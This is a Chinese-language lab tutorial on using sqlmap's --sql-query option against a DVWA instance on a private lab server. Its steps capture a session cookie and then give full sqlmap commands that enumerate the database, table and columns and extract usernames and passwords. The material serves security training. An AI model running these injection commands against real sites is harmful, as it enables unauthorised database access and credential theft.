预备知识

了解Sqlmap

sqlmap是一款开源、功能强大的自动化SQL注入工具，支持Access，MySQL，Oracle，SQL Server，DB2等多种数据库。支持get，post，cookie注入，支持基于布尔的盲注，基于时间的盲注，错误回显注入，联合查询注入，堆查询注入等。

实验目的

通过该实验熟悉sqlmap常用的命令，利用sqlmap辅助手工完成注入。

实验环境

服务器：CentOS，IP地址：10.1.1.136
测试者：win7，IP地址随机

实验步骤一

利用sqlmap选项–sql-query辅助手工注入

1.打开http://10.1.1.136，输入用户名：admin，密码：password，登录：

2.找到并打开SQL Injection，随便提交一个数，打开burpsuite抓包，然后点击submit，获取cookie：

3.使用内置函数获取用户名，版本，数据库名等信息。
输入：

sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --sql-query "select user(),version(),database()"

实验步骤二

4.得到数据库名为dvwa，接下来猜表。
输入：

sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --sql-query "(select count(*) from dvwa.users)>0"

5.返回1，说明存在users表，然后开始猜列。
输入：

sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --sql-query "(select count(username) from dvwa.users)>=0"

6.没有返回，说明不存在username列，将username改为user，返回1。

输入：

sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --sql-query "(select count(password) from dvwa.users)>=0"

7.得到了列名，现在我们来猜内容。
输入：

sqlmap.py -u "http://10.1.1.136/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=q3bm4gupu58dqptm0lve1o12u4; security=low" --sql-query "select user,password from dvwa.users"

8.借助sqlmap选项–sql-query结合手工注入语句就得到了user表中的用户信息。